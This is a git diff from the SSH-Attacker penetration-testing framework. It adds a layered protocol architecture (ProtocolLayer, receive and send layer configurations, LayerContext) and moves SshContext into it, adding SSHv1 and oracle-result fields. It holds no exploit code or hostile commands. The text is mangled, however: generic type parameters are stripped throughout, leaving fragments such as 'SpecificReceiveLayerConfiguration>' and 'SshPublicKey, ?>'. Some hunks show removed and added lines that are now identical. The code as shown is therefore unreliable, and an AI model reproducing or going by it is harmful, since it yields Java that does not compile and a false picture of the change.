+import de.rub.nds.sshattacker.core.layer.data.Handler;
+import de.rub.nds.sshattacker.core.layer.data.Parser;
+import de.rub.nds.sshattacker.core.layer.data.Preparator;
+import de.rub.nds.sshattacker.core.layer.stream.LayerInputStream;
+import java.io.IOException;
+import java.util.LinkedList;
+import java.util.List;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+/**
+ * Abstracts a message layer (TCP, UDP, IMAP, etc.). Each layer knows of the layer below and above
+ * itself. It can send messages using the layer below and forward received messages to the layer
+ * above.
+ *
+ * @param The kind of messages/Containers this layer is able to send and receive.
+ */
+public abstract class ProtocolLayer {
+
+ private static final Logger LOGGER = LogManager.getLogger();
+
+ private ProtocolLayer higherLayer;
+
+ private ProtocolLayer lowerLayer;
+
+ private LayerConfiguration layerConfiguration;
+
+ private List producedDataContainers;
+
+ protected LayerInputStream currentInputStream;
+
+ protected LayerInputStream nextInputStream;
+
+ private LayerType layerType;
+
+ private byte[] unreadBytes;
+
+ public ProtocolLayer(LayerType layerType) {
+ producedDataContainers = new LinkedList<>();
+ this.layerType = layerType;
+ this.unreadBytes = new byte[0];
+ }
+
+ public ProtocolLayer getHigherLayer() {
+ return higherLayer;
+ }
+
+ public ProtocolLayer getLowerLayer() {
+ return lowerLayer;
+ }
+
+ public void setHigherLayer(ProtocolLayer higherLayer) {
+ this.higherLayer = higherLayer;
+ }
+
+ public void setLowerLayer(ProtocolLayer lowerLayer) {
+ this.lowerLayer = lowerLayer;
+ }
+
+ public abstract LayerProcessingResult sendConfiguration() throws IOException;
+
+ public abstract LayerProcessingResult sendData(byte[] additionalData) throws IOException;
+
+ public LayerConfiguration getLayerConfiguration() {
+ return layerConfiguration;
+ }
+
+ public void setLayerConfiguration(LayerConfiguration layerConfiguration) {
+ this.layerConfiguration = layerConfiguration;
+ }
+
+ public LayerProcessingResult getLayerResult() {
+ boolean isExecutedAsPlanned = executedAsPlanned();
+ return new LayerProcessingResult(
+ producedDataContainers, getLayerType(), isExecutedAsPlanned, getUnreadBytes());
+ }
+
+ public boolean executedAsPlanned() {
+ boolean isExecutedAsPlanned = true;
+ if (getLayerConfiguration() != null) {
+ isExecutedAsPlanned = getLayerConfiguration().executedAsPlanned(producedDataContainers);
+ }
+ return isExecutedAsPlanned;
+ }
+
+ /** Sets input stream to null if empty. Throws an exception otherwise. */
+ public void removeDrainedInputStream() {
+ try {
+ if (currentInputStream != null && currentInputStream.available() > 0) {
+ throw new RuntimeException("Trying to drain a non-empty inputStream");
+ } else {
+ currentInputStream = null;
+ }
+ } catch (IOException ex) {
+ LOGGER.error("Could not evaluate Stream availability. Removing Stream anyways");
+ currentInputStream = null;
+ }
+ }
+
+ public void clear() {
+ producedDataContainers = new LinkedList<>();
+ layerConfiguration = null;
+ currentInputStream = null;
+ nextInputStream = null;
+ }
+
+ protected void addProducedContainer(ContainerT container) {
+ producedDataContainers.add(container);
+ }
+
+ protected boolean containerAlreadyUsedByHigherLayer(ContainerT container) {
+ if (producedDataContainers == null) {
+ return false;
+ }
+ // must check for identical references here
+ return producedDataContainers.stream()
+ .anyMatch(listedContainer -> listedContainer == container);
+ }
+
+ /**
+ * A receive call which tries to read till either a timeout occurs or the configuration is
+ * fullfilled
+ *
+ * @return LayerProcessingResult Contains information about the execution of the receive action.
+ */
+ public abstract LayerProcessingResult receiveData();
+
+ /**
+ * Tries to fill up the current Stream with more data, if instead unprocessable data (for the
+ * calling layer) is produced, the data is instead cached in the next inputstream. It may be
+ * that the current input stream is null when this method is called.
+ *
+ * @throws IOException Some layers might produce IOExceptions when sending or receiving data
+ * over sockets etc.
+ */
+ public abstract void receiveMoreData() throws IOException;
+
+ /**
+ * Returns a datastream from which currently should be read
+ *
+ * @return The next data stream with data available.
+ * @throws IOException Some layers might produce IOExceptions when sending or receiving data
+ * over sockets etc.
+ */
+ public LayerInputStream getDataStream() throws IOException {
+ if (currentInputStream == null) {
+ receiveMoreData();
+ if (currentInputStream == null) {
+ throw new EndOfStreamException(
+ "Could not receive data stream from lower layer, nothing more to receive");
+ }
+ }
+ /*LOGGER.debug("Returned from 'more data', avilable = " + currentInputStream.available());*/
+ if (currentInputStream.available() > 0) {
+ return currentInputStream;
+ } else {
+ if (nextInputStream != null) {
+ currentInputStream = nextInputStream;
+ return currentInputStream;
+ } else {
+ LOGGER.debug("Trying to get datastream while no data is available");
+ // this.receiveMoreDataForHint(null);
+ // <--- Testing -->
+ receiveMoreData();
+ if (currentInputStream.available() > 0) {
+ return currentInputStream;
+ } else {
+ throw new EndOfStreamException(
+ "The original data stream does not produce any more data and there is no next datastream");
+ }
+ /*throw new EndOfStreamException(
+ "The original data stream does not produce any more data and there is no next datastream -> returning now");*/
+ // return currentInputStream;
+ }
+ }
+ }
+
+ /**
+ * Evaluates if more data can be retrieved for parsing immediately, i.e without receiving on the
+ * lowest layer.
+ *
+ * @return true if more data is available in any receive buffer
+ */
+ public boolean isDataBuffered() {
+ try {
+ if ((currentInputStream != null && currentInputStream.available() > 0)
+ || nextInputStream != null && nextInputStream.available() > 0) {
+ return true;
+ } else if (getLowerLayer() != null) {
+ return getLowerLayer().isDataBuffered();
+ }
+ return false;
+ } catch (IOException e) {
+ // with exceptions on reading our inputStreams we can not read more data
+ LOGGER.error("No more data can be read from the inputStreams with Exception: ", e);
+ return false;
+ }
+ }
+
+ public boolean shouldContinueProcessing() {
+ if (layerConfiguration != null) {
+ if (layerConfiguration instanceof GenericReceiveLayerConfiguration) {
+ // stop collecting more containers, if already got one
+ if (!layerConfiguration.getContainerList().isEmpty()) {
+ return false;
+ } else {
+ return true;
+ }
+
+ } else {
+ return layerConfiguration.successRequiresMoreContainers(
+ getLayerResult().getUsedContainers())
+ || isDataBuffered()
+ && ((ReceiveLayerConfiguration) layerConfiguration)
+ .isProcessTrailingContainers();
+ }
+ } else {
+ return isDataBuffered();
+ }
+ }
+
+ public LayerType getLayerType() {
+ return layerType;
+ }
+
+ /**
+ * Parses and handles content from a container.
+ *
+ * @param container The container to handle.
+ * @param context The context of the connection. Keeps parsed and handled values.
+ */
+ protected void readDataContainer(ContainerT container, LayerContext context) {
+ LayerInputStream inputStream;
+ try {
+ inputStream = getLowerLayer().getDataStream();
+ } catch (IOException e) {
+ LOGGER.warn("The lower layer did not produce a data stream: ", e);
+ return;
+ }
+
+ Parser parser = container.getParser(context, inputStream);
+
+ try {
+ parser.parse(container);
+ Handler handler = container.getHandler(context);
+ handler.adjustContext(container);
+ addProducedContainer(container);
+ } catch (RuntimeException ex) {
+ unreadBytes = parser.getAlreadyParsed();
+ }
+ }
+
+ protected void readContainerFromStream(
+ ContainerT container, LayerContext context, LayerInputStream inputStream) {
+
+ Parser parser = container.getParser(context, inputStream);
+ try {
+ parser.parse(container);
+ Handler handler = container.getHandler(context);
+ handler.adjustContext(container);
+ addProducedContainer(container);
+ } catch (RuntimeException ex) {
+ unreadBytes = parser.getAlreadyParsed();
+ }
+ }
+
+ public byte[] getUnreadBytes() {
+ return unreadBytes;
+ }
+
+ public void setUnreadBytes(byte[] unreadBytes) {
+ this.unreadBytes = unreadBytes;
+ }
+
+ public boolean prepareDataContainer(DataContainer dataContainer, LayerContext context) {
+ Preparator preparator = dataContainer.getPreparator(context);
+ try {
+ preparator.prepare();
+ preparator.afterPrepare();
+ } catch (PreparationException ex) {
+ LOGGER.error(
+ "Could not prepare message " + dataContainer + ". Therefore, we skip it: ", ex);
+ return false;
+ }
+ return true;
+ }
+}
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/ReceiveLayerConfiguration.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/ReceiveLayerConfiguration.java
new file mode 100644
index 000000000..c6d5cc0f5
--- /dev/null
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/ReceiveLayerConfiguration.java
@@ -0,0 +1,32 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2023 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.core.layer;
+
+import de.rub.nds.sshattacker.core.layer.constant.LayerType;
+import de.rub.nds.sshattacker.core.layer.data.DataContainer;
+import java.util.List;
+
+/**
+ * Abstracts different ReceiveConfigurations. A ReceiveLayerConfiguration always specifies a list of
+ * containers the layer should receive.
+ *
+ * @param container
+ */
+public abstract class ReceiveLayerConfiguration
+ extends LayerConfiguration {
+
+ public ReceiveLayerConfiguration(LayerType layerType, List containerList) {
+ super(layerType, containerList);
+ }
+
+ public ReceiveLayerConfiguration(LayerType layerType, Container... containers) {
+ super(layerType, containers);
+ }
+
+ public abstract boolean isProcessTrailingContainers();
+}
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/SpecificReceiveLayerConfiguration.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/SpecificReceiveLayerConfiguration.java
new file mode 100644
index 000000000..5832c2408
--- /dev/null
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/SpecificReceiveLayerConfiguration.java
@@ -0,0 +1,122 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2022 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.core.layer;
+
+import de.rub.nds.sshattacker.core.layer.constant.LayerType;
+import de.rub.nds.sshattacker.core.layer.data.DataContainer;
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * ReceiveConfiguration that receives a specific list of DataContainers. Any additional received
+ * containers are marked as such.
+ */
+public class SpecificReceiveLayerConfiguration>
+ extends ReceiveLayerConfiguration {
+
+ private List containerFilterList;
+
+ private boolean allowTrailingContainers = false;
+
+ public SpecificReceiveLayerConfiguration(LayerType layerType, List containerList) {
+ super(layerType, containerList);
+ }
+
+ public SpecificReceiveLayerConfiguration(LayerType layerType, Container... containers) {
+ super(layerType, containers);
+ }
+
+ @Override
+ public boolean executedAsPlanned(List list) {
+ return evaluateReceivedContainers(list, false);
+ }
+
+ /**
+ * Compares the received DataContainers to the list of expected DataContainers. An expected
+ * DataContainer may be skipped if it is not marked as required. An unexpected DataContainer may
+ * be ignored if a DataContainerFilter applies.
+ *
+ * @param list The list of DataContainers
+ * @param mayReceiveMoreContainers Determines if an incomplete result is acceptable. This is the
+ * case if no contradictory DataContainer has been received yet and the LayerConfiguration
+ * can be satisfied if additional DataContainers get provided
+ */
+ private boolean evaluateReceivedContainers(
+ List list, boolean mayReceiveMoreContainers) {
+ if (list == null) {
+ return false;
+ }
+ int j = 0;
+ List expectedContainers = getContainerList();
+ if (expectedContainers != null) {
+ for (int i = 0; i < expectedContainers.size(); i++) {
+ if (j >= list.size() && expectedContainers.get(i).isRequired()) {
+ return mayReceiveMoreContainers;
+ } else if (j < list.size()) {
+ if (!expectedContainers.get(i).getClass().equals(list.get(j).getClass())
+ && expectedContainers.get(i).isRequired()) {
+ if (containerCanBeFiltered(list.get(j))) {
+ j++;
+ i--;
+ } else {
+ return false;
+ }
+
+ } else if (expectedContainers
+ .get(i)
+ .getClass()
+ .equals(list.get(j).getClass())) {
+ j++;
+ }
+ }
+ }
+ }
+ return true;
+ }
+
+ @Override
+ public boolean failedEarly(List list) {
+ return !evaluateReceivedContainers(list, true);
+ }
+
+ public void setContainerFilterList(DataContainerFilter... containerFilters) {
+ this.setContainerFilterList(Arrays.asList(containerFilters));
+ }
+
+ public boolean containerCanBeFiltered(Container container) {
+ if (getContainerFilterList() != null) {
+ for (DataContainerFilter containerFilter : getContainerFilterList()) {
+ if (containerFilter.test(container)) {
+ return true;
+ }
+ }
+ }
+ return false;
+ }
+
+ public boolean isAllowTrailingContainers() {
+ return allowTrailingContainers;
+ }
+
+ public void setAllowTrailingContainers(boolean allowTrailingContainers) {
+ this.allowTrailingContainers = allowTrailingContainers;
+ }
+
+ public List getContainerFilterList() {
+ return containerFilterList;
+ }
+
+ public void setContainerFilterList(List containerFilterList) {
+ this.containerFilterList = containerFilterList;
+ }
+
+ @Override
+ public boolean isProcessTrailingContainers() {
+ return true;
+ }
+}
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/SpecificSendLayerConfiguration.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/SpecificSendLayerConfiguration.java
new file mode 100644
index 000000000..ccf088efa
--- /dev/null
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/SpecificSendLayerConfiguration.java
@@ -0,0 +1,45 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2022 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.core.layer;
+
+import de.rub.nds.sshattacker.core.layer.constant.LayerType;
+import de.rub.nds.sshattacker.core.layer.data.DataContainer;
+import java.util.List;
+
+/**
+ * Send configuration that sends a list of containers to the recipient.
+ *
+ * @param Container
+ */
+public class SpecificSendLayerConfiguration
+ extends LayerConfiguration {
+
+ public SpecificSendLayerConfiguration(LayerType layerType, List containerList) {
+ super(layerType, containerList);
+ }
+
+ public SpecificSendLayerConfiguration(LayerType layerType, Container... containers) {
+ super(layerType, containers);
+ }
+
+ @Override
+ public boolean executedAsPlanned(List list) {
+ if (list == null) {
+ return false;
+ }
+ if (getContainerList() == null) {
+ return true;
+ }
+ return list.size() == getContainerList().size();
+ }
+
+ @Override
+ public boolean failedEarly(List list) {
+ return false;
+ }
+}
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/constant/ImplementedLayers.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/constant/ImplementedLayers.java
new file mode 100644
index 000000000..120618332
--- /dev/null
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/constant/ImplementedLayers.java
@@ -0,0 +1,21 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2023 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.core.layer.constant;
+
+/** Holds all implemented layers of the SSH-Core, not limited to any layer of the ISO stack */
+public enum ImplementedLayers implements LayerType {
+ TCP,
+ PACKET_LAYER,
+ SSHV1,
+ SSHV2;
+
+ @Override
+ public String getName() {
+ return this.name();
+ }
+}
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/constant/LayerConfiguration.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/constant/LayerConfiguration.java
new file mode 100644
index 000000000..0a7ff691e
--- /dev/null
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/constant/LayerConfiguration.java
@@ -0,0 +1,17 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2023 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.core.layer.constant;
+
+/**
+ * Pre-defined configurations for the Layer Stack. E.g., SSHv1 will Create a Layerstack containing
+ * no SSHv2 Layer to the LayerStack. Custom LayerStack have to be created manually.
+ */
+public enum LayerConfiguration {
+ SSHV1,
+ SSHV2;
+}
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/constant/LayerType.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/constant/LayerType.java
new file mode 100644
index 000000000..69df6636e
--- /dev/null
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/constant/LayerType.java
@@ -0,0 +1,21 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2023 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.core.layer.constant;
+
+/**
+ * Interface for Implemented Layers. As Implemented Layers might differ between
+ * TLS-Attacker/SSH-Attacker etc. we need this interface.
+ */
+public interface LayerType {
+
+ public String getName();
+
+ public default boolean equals(LayerType other) {
+ return other.getName().equals(this.getName());
+ }
+}
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/context/LayerContext.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/context/LayerContext.java
new file mode 100644
index 000000000..eb735ceaf
--- /dev/null
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/context/LayerContext.java
@@ -0,0 +1,74 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2023 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.core.layer.context;
+
+import de.rub.nds.sshattacker.core.config.Config;
+import de.rub.nds.sshattacker.core.connection.AliasedConnection;
+import de.rub.nds.sshattacker.core.layer.LayerStack;
+import de.rub.nds.sshattacker.core.state.Context;
+import de.rub.nds.sshattacker.core.workflow.chooser.Chooser;
+import de.rub.nds.tlsattacker.transport.ConnectionEndType;
+import de.rub.nds.tlsattacker.transport.TransportHandler;
+
+/** A LayerContext holds all runtime variables of a layer during a connection. */
+public abstract class LayerContext {
+
+ private Context context;
+
+ protected LayerContext(Context context) {
+ this.context = context;
+ }
+
+ public Context getContext() {
+ return context;
+ }
+
+ public void setContext(Context context) {
+ this.context = context;
+ }
+
+ /*
+ * Helper functions that return variables of the containing context
+ */
+
+ public Config getConfig() {
+ return context.getConfig();
+ }
+
+ public Chooser getChooser() {
+ return context.getChooser();
+ }
+
+ public LayerStack getLayerStack() {
+ return context.getLayerStack();
+ }
+
+ public ConnectionEndType getTalkingConnectionEndType() {
+ return context.getTalkingConnectionEndType();
+ }
+
+ public void setTalkingConnectionEndType(ConnectionEndType endType) {
+ context.setTalkingConnectionEndType(endType);
+ }
+
+ public AliasedConnection getConnection() {
+ return getContext().getConnection();
+ }
+
+ public void setConnection(AliasedConnection connection) {
+ getContext().setConnection(connection);
+ }
+
+ public TransportHandler getTransportHandler() {
+ return context.getTransportHandler();
+ }
+
+ public void setTransportHandler(TransportHandler transportHandler) {
+ context.setTransportHandler(transportHandler);
+ }
+}
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/state/SshContext.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/context/SshContext.java
old mode 100755
new mode 100644
similarity index 87%
rename from SSH-Core/src/main/java/de/rub/nds/sshattacker/core/state/SshContext.java
rename to SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/context/SshContext.java
index d9bb7cf90..44cba8be2
--- a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/state/SshContext.java
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/context/SshContext.java
@@ -5,10 +5,9 @@
*
* Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
*/
-package de.rub.nds.sshattacker.core.state;
+package de.rub.nds.sshattacker.core.layer.context;
import de.rub.nds.sshattacker.core.config.Config;
-import de.rub.nds.sshattacker.core.connection.AliasedConnection;
import de.rub.nds.sshattacker.core.constants.*;
import de.rub.nds.sshattacker.core.crypto.hash.ExchangeHashInputHolder;
import de.rub.nds.sshattacker.core.crypto.kex.AbstractEcdhKeyExchange;
@@ -17,34 +16,57 @@
import de.rub.nds.sshattacker.core.crypto.kex.RsaKeyExchange;
import de.rub.nds.sshattacker.core.crypto.keys.SshPublicKey;
import de.rub.nds.sshattacker.core.exceptions.ConfigurationException;
-import de.rub.nds.sshattacker.core.exceptions.TransportHandlerConnectException;
-import de.rub.nds.sshattacker.core.packet.cipher.keys.KeySet;
-import de.rub.nds.sshattacker.core.packet.layer.AbstractPacketLayer;
-import de.rub.nds.sshattacker.core.packet.layer.PacketLayerFactory;
-import de.rub.nds.sshattacker.core.protocol.common.layer.MessageLayer;
+import de.rub.nds.sshattacker.core.layer.impl.PacketLayer;
+import de.rub.nds.sshattacker.core.packet.cipher.PacketCipher;
+import de.rub.nds.sshattacker.core.packet.cipher.PacketCipherFactory;
+import de.rub.nds.sshattacker.core.packet.cipher.keys.AbstractKeySet;
+import de.rub.nds.sshattacker.core.packet.compressor.PacketCompressor;
+import de.rub.nds.sshattacker.core.packet.crypto.AbstractPacketEncryptor;
+import de.rub.nds.sshattacker.core.packet.crypto.PacketEncryptor;
import de.rub.nds.sshattacker.core.protocol.connection.Channel;
import de.rub.nds.sshattacker.core.protocol.connection.ChannelManager;
import de.rub.nds.sshattacker.core.protocol.transport.message.extension.AbstractExtension;
+import de.rub.nds.sshattacker.core.state.Context;
import de.rub.nds.sshattacker.core.workflow.chooser.Chooser;
import de.rub.nds.sshattacker.core.workflow.chooser.ChooserFactory;
import de.rub.nds.tlsattacker.transport.ConnectionEndType;
import de.rub.nds.tlsattacker.transport.TransportHandler;
-import de.rub.nds.tlsattacker.transport.TransportHandlerFactory;
-import java.io.IOException;
import java.util.HashMap;
import java.util.List;
import java.util.Optional;
-public class SshContext {
+public class SshContext extends LayerContext {
/** Static configuration for SSH-Attacker */
- private Config config;
-
private Chooser chooser;
- /** Connection used to communicate with the remote peer */
- private AliasedConnection connection;
+ public AbstractPacketEncryptor getEncryptor() {
+ return encryptor;
+ }
+
+ public PacketCompressor getCompressor() {
+ return compressor;
+ }
+
+ private AbstractPacketEncryptor encryptor;
+
+ public void setEncryptor(AbstractPacketEncryptor encryptor) {
+ this.encryptor = encryptor;
+ }
+
+ public void setCompressor(PacketCompressor compressor) {
+ this.compressor = compressor;
+ }
+
+ private PacketCompressor compressor;
+ public PacketCipher getActiveDecryptCipher() {
+ return encryptor.getPacketMostRecentCipher();
+ }
+
+ private PacketCipher activeDecryptCipher;
+
+ /** Connection used to communicate with the remote peer */
private TransportHandler transportHandler;
/** If set to true, an exception was received from the transport handler */
@@ -53,18 +75,12 @@ public class SshContext {
/** The currently active packet layer type */
private PacketLayerType packetLayerType;
- /** A layer to serialize packets */
- private AbstractPacketLayer packetLayer;
-
/**
* If set to true, receive actions will read the incoming byte stream on a per-line basis (each
* line is terminated by LF).
*/
private Boolean receiveAsciiModeEnabled;
- /** A layer to serialize messages */
- private MessageLayer messageLayer = new MessageLayer(this);
-
/**
* Sequence number used to generate MAC when sending packages. The sequence number is unsigned,
* initialized to 0 and wraps around at 2^32.
@@ -103,9 +119,17 @@ public class SshContext {
/** End-of-message sequence of the servers' VersionExchangeMessage */
private String serverEndOfMessageSequence;
+ /** Result of BB-Oracle; 0 = both false, 1 = first correct, second false, 2 = both correct */
+ private int bbResult = 0;
+
// endregion
// region Key Exchange Initialization
+
+ // SSHv1
+ private List supportedCipherMethods;
+ private List supportedAuthenticationMethods;
+
/** Client cookie containing 16 random bytes */
private byte[] clientCookie;
@@ -240,7 +264,7 @@ public class SshContext {
* If set to true, the most recent group request received was of type
* DhGexKeyExchangeOldRequestMessage
*/
- private boolean oldGroupRequestReceived;
+ private boolean oldGroupRequestReceived = false;
/** Minimal acceptable DH group size as reported in the SSH_MSG_KEX_DH_GEX_REQUEST message */
private Integer minimalDhGroupSize;
@@ -254,6 +278,9 @@ public class SshContext {
/** Host key */
private SshPublicKey, ?> hostKey;
+ /** Server key for SSHv1 */
+ private SshPublicKey, ?> serverKey;
+
/** Signature generated by the server over the exchange hash to authenticate the key exchange */
private byte[] serverExchangeHashSignature;
@@ -279,7 +306,17 @@ public class SshContext {
private byte[] sharedSecret;
/** The key set derived from the shared secret, the exchange hash, and the session ID */
- private KeySet keySet;
+ private AbstractKeySet keySet;
+
+ private byte[] sshv1SessionID;
+
+ private byte[] antiSpoofingCookie;
+
+ private byte[] sessionKey;
+
+ private List chosenProtocolFlags;
+ private CipherMethod chosenCipherMethod;
+ private AuthenticationMethodSSHv1 chosenAuthenticationMethod;
// endregion
@@ -335,78 +372,61 @@ public class SshContext {
// TODO: Implement channel requests in such a way that allows specification within the XML file
// endregion
- /** If set to true, an SSH_MSG_DISCONNECT has been received from the remote peer */
- private boolean disconnectMessageReceived;
+ /** If set to true, a SSH_MSG_DISCONNECT has been received from the remote peer */
+ private boolean disconnectMessageReceived = false;
/** If set to true, a version exchange message was sent by each side */
- private boolean versionExchangeComplete;
+ private boolean versionExchangeCompleted = false;
// region Constructors and Initialization
public SshContext() {
- this(Config.createConfig());
+ this(new Context(new Config()));
}
public SshContext(Config config) {
- super();
- RunningModeType mode = config.getDefaultRunningMode();
- if (mode == null) {
+ this(new Context(config));
+ }
+
+ public SshContext(Context context) {
+ super(context);
+ context.setSshContext(this);
+ RunningModeType mode = getConfig().getDefaultRunningMode();
+ if (null == mode) {
throw new ConfigurationException("Cannot create connection, running mode not set");
} else {
- switch (mode) {
- case CLIENT:
- init(config, config.getDefaultClientConnection());
- break;
- case SERVER:
- init(config, config.getDefaultServerConnection());
- break;
- default:
- throw new ConfigurationException(
- "Cannot create connection for unknown running mode '" + mode + "'");
- }
+ init();
}
}
- public SshContext(Config config, AliasedConnection connection) {
- super();
- init(config, connection);
- }
-
- public void init(Config config, AliasedConnection connection) {
- this.config = config;
- this.connection = connection;
+ public void init() {
exchangeHashInputHolder = new ExchangeHashInputHolder();
// TODO: Initial packet layer type from config
packetLayerType = PacketLayerType.BLOB;
- packetLayer = PacketLayerFactory.getPacketLayer(packetLayerType, this);
receiveAsciiModeEnabled = true;
writeSequenceNumber = 0;
readSequenceNumber = 0;
- handleAsClient = connection.getLocalConnectionEndType() == ConnectionEndType.CLIENT;
+ handleAsClient = (getConnection().getLocalConnectionEndType() == ConnectionEndType.CLIENT);
channelManager = new ChannelManager(this);
- }
- // endregion
+ encryptor =
+ new PacketEncryptor(
+ PacketCipherFactory.getNoneCipher(this, CipherMode.ENCRYPT), this);
- public Config getConfig() {
- return config;
+ compressor = new PacketCompressor();
}
+ // endregion
+
public Chooser getChooser() {
if (chooser == null) {
- chooser = ChooserFactory.getChooser(config.getChooserType(), this, config);
+ chooser =
+ ChooserFactory.getChooser(
+ getConfig().getChooserType(), this.getContext(), getConfig());
}
return chooser;
}
- public AliasedConnection getConnection() {
- return connection;
- }
-
- public void setConnection(AliasedConnection connection) {
- this.connection = connection;
- }
-
public TransportHandler getTransportHandler() {
return transportHandler;
}
@@ -423,26 +443,6 @@ public void setReceivedTransportHandlerException(boolean receivedTransportHandle
this.receivedTransportHandlerException = receivedTransportHandlerException;
}
- public void initTransportHandler() {
- if (transportHandler == null) {
- if (connection == null) {
- throw new ConfigurationException("Connection end not set");
- }
- transportHandler = TransportHandlerFactory.createTransportHandler(connection);
- }
-
- try {
- transportHandler.preInitialize();
- transportHandler.initialize();
- } catch (NullPointerException | NumberFormatException ex) {
- throw new ConfigurationException("Invalid values in " + connection.toString(), ex);
- } catch (IOException ex) {
- throw new TransportHandlerConnectException(
- "Unable to initialize the transport handler with: " + connection.toString(),
- ex);
- }
- }
-
public PacketLayerType getPacketLayerType() {
return packetLayerType;
}
@@ -451,12 +451,8 @@ public void setPacketLayerType(PacketLayerType packetLayerType) {
this.packetLayerType = packetLayerType;
}
- public AbstractPacketLayer getPacketLayer() {
- return packetLayer;
- }
-
- public void setPacketLayer(AbstractPacketLayer packetLayer) {
- this.packetLayer = packetLayer;
+ public PacketLayer getPacketLayer() {
+ return (PacketLayer) getContext().getLayerStack().getLayer(PacketLayer.class);
}
public Boolean isReceiveAsciiModeEnabled() {
@@ -467,13 +463,13 @@ public void setReceiveAsciiModeEnabled(boolean receiveAsciiModeEnabled) {
this.receiveAsciiModeEnabled = receiveAsciiModeEnabled;
}
- public MessageLayer getMessageLayer() {
+ /*public MessageLayer getMessageLayer() {
return messageLayer;
}
public void setMessageLayer(MessageLayer messageLayer) {
this.messageLayer = messageLayer;
- }
+ }*/
// region Getters and Setters for Sequence Numbers
public int getWriteSequenceNumber() {
@@ -944,6 +940,14 @@ public Optional getMaximalDhGroupSize() {
return Optional.ofNullable(hostKey);
}
+ public SshPublicKey, ?> getServerKey() {
+ return serverKey;
+ }
+
+ public void setServerKey(SshPublicKey, ?> serverKey) {
+ this.serverKey = serverKey;
+ }
+
public Optional getServerExchangeHashSignature() {
return Optional.ofNullable(serverExchangeHashSignature);
}
@@ -1022,7 +1026,7 @@ public Optional getSharedSecret() {
return Optional.ofNullable(sharedSecret);
}
- public Optional getKeySet() {
+ public Optional getKeySet() {
return Optional.ofNullable(keySet);
}
@@ -1040,7 +1044,7 @@ public void setSharedSecret(byte[] sharedSecret) {
this.sharedSecret = sharedSecret;
}
- public void setKeySet(KeySet transportKeySet) {
+ public void setKeySet(AbstractKeySet transportKeySet) {
keySet = transportKeySet;
}
@@ -1182,19 +1186,19 @@ public void setDisconnectMessageReceived(Boolean disconnectMessageReceived) {
}
public boolean isVersionExchangeComplete() {
- return versionExchangeComplete;
+ return versionExchangeCompleted;
}
public void setVersionExchangeComplete(Boolean complete) {
- versionExchangeComplete = complete;
+ this.versionExchangeCompleted = complete;
}
public boolean isClient() {
- return connection.getLocalConnectionEndType() == ConnectionEndType.CLIENT;
+ return getConnection().getLocalConnectionEndType() == ConnectionEndType.CLIENT;
}
public boolean isServer() {
- return connection.getLocalConnectionEndType() == ConnectionEndType.SERVER;
